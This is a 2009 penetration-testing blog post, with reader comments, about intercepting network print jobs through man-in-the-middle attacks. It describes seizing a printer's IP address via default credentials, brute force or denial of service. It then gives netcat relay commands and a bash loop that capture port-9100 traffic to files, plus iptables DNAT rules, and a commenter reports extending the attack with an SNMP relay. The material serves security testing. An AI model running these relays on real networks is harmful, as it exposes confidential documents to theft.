Man in the Middling Printers

Posted on March 22, 2009 | 5 Comments |

This one has been rattling around in my head for a while, and since I've found myself with a few spare minutes, it's time I wrote it up for your enjoyment and mine. This is certainly nothing new, but its one of those things that people seem to discount when performing penetration testing. After all, printers aren't really cool anymore.

MITM attacks are often talked about together with credential stealing or traffic manipulation (inserting javascript into http streams). The new tool from Inguardians (the Middler) is a prime example of where the focus is right now. Although the middler was designed as a tool for performing attacks on all kinds of protocols, the examples provided with the alpha all focus on http(s) traffic. However what I want to talk about was using MITM attacks to steal confidential data in the form of print jobs.

When it comes to stealing data, most of the time you're going to need a valid username/password to gain access. Sure you can exploit systems, use pass the hash or go the social engineering route, but you're going to need access. However in this day and age of the failed paperless office, why go to those lengths when you can just steal the documents straight from the print queue. We all know how to perform ARP or DNS poisoning to insert a system into the flow of traffic, but with printers this job can be made so much easier due to the overall lack of security on print devices.

There are four easy methods for stealing print jobs that spring to mind, other than using standard ARP or DNS spoofing attacks.

1. **Physical access** – A majority of printers offer unprotected access to the menu. Through physical access you can change the printers IP address and assume the original for yourself.
2. **Telnet access** – Not seen so often in modern printers, but can give you complete access if the passwords are blank or left at default. Again, reset the IP address and assume the original.
3. **Webserver access** – Most modern printers offer a web interface for easy configuration. Brute-Force is an option here as they rarely enforce lockouts or use domain credentials. Again, reset the IP address and assume the original.
4. **Denial of Service** – Crude but effective. This isn't really a MITM attack, as you'd not be able to forward on the print job. Just drop the printer off the network (turn it off if you have to) and steal it's IP.

Once you've gained access and stolen the IP address of the remote printer, there are a couple of ways to steal the print jobs. I started off by playing about with netcat using a simple netcat relay (and using tcpdump to copy the traffic).

mknod backpipe p
nc -l -p 9100 0<backpipe | nc <new printer ip> 9100 0>backpipe

The problem with this is that it would work on the first print job and then lockup. This is because the netcat relay would make the connection and leave it running. All subsequent print jobs would fail. Back to the drawing board.

My second attempt included the -w1 timeout for the second half of the netcat relay . This forces the connection to be dropped after 1 second of inactivity. This worked a little better but still not perfectly. I also threw in tee to prevent having to use tcpdump to capture the traffic (-a sets append).

mknod backpipe p
nc -l -p 9100 0<backpipe | tee -a capture.out | nc <new printer ip> -w1 9100 0>backpipe

The best results came from using the above command in a loop. I wrote a small bash script to do this. This is something to play with (your mileage may vary).

#!/bin/bash
i=1
PRNIP=10.10.10.10

while true; do
echo "Print jobs captured = $i"
nc -l -p 9100 0<backpipe | tee -a capture-$i.out | nc $PRNIP -w1 9100 0>backpipe
i=$i+1
done

As an alternative to netcat I also tested the use of iptables to perform a prerouting of the traffic.

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -F

iptables -t nat -F

iptables -X

iptables -t nat -A PREROUTING -p tcp — dport 9100 -j DNAT –to-destination <new printer ip>

The problem I can see here is that PREROUTING is performed before any of the traffic will be visible to TCPDUMP. So although we're routing all the traffic to the printer, we can't dump any of the print jobs. I'm no iptables expert by any stretch of the imagination. So maybe there is a way to do this easily without extra tools. I'll have to try playing with the mangling rules and see if I can get some better results with iptables.

Rate This

This entry was posted in Technology, Penetration Test and tagged iptables, mitm, man in the middle, printers. Bookmark the permalink.

5 RESPONSES TO MAN IN THE MIDDLING PRINTERS

Claudio Criscione | April 27, 2009 at 23:53 | |

That's cool, I've been thinking about that for a while and even actually performed it during the last couple of VAs (no one has passwords on web panels!). But still, it can be hard to decode the print jobs

Abdulrahman | November 1, 2010 at 07:07 | |

Pretty awesome. But for some reason it didn't work out for me. It only work if I do it manually (i.e. listen and capture the file, then manually run a second netcat line to push it to the printer). But if the script is running, nothing happens at all. I've sniffed the traffic from the victim machine and it shows a one way traffic with no response. Any idea?

Abdulrahman | November 1, 2010 at 16:38 | |

Never mind ... I've got it solved. The problem was that any PC with our network driver installed in it, requires SNMP communication with the printer to check if it's up and ready or not. I figured that out by sniffing a victim traffic, then had to develop an SNMP relay for that. And it worked perfectly !

Now that I am done with MITM attack. I am reading about configuring the printer to hold a copy of any print job in the localdisk, so I can take a copy of that later. Have you happened to be experimenting with it? It requires some PJL knowledge.

ChrisJohnRiley | November 2, 2010 at 08:23 | |

It's been a while since I looked at the printer MITM topic, but funny enough I actually started a rough Python tool for extracting PCL/PS printjobs a few weeks back. It's not quite ready for prime time yet, but I'll be sure to release an update on the blog once I do. Let me know if you get anywhere with the printer configuration... I'm not sure all printers are capable of this (*smaller printers for sure are only RAM based, so won't offer the feature*). Still, worth a try for sure. I'm sure most, if not all, of the larger enterprise level printers will have the feature though!

Abdulrahman | November 22, 2010 at 11:38 | |

Thing is, all printers that am dealing with are shipped with HD (Mostly HP printers), but for some reason it doesn't store a copy of the job if I asked it to. Am suspecting that HD wasn't initialized as below HP topic says:

http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=bpl10563&prodTypeId=18972&prodSeriesId=410000

Good luck with the script!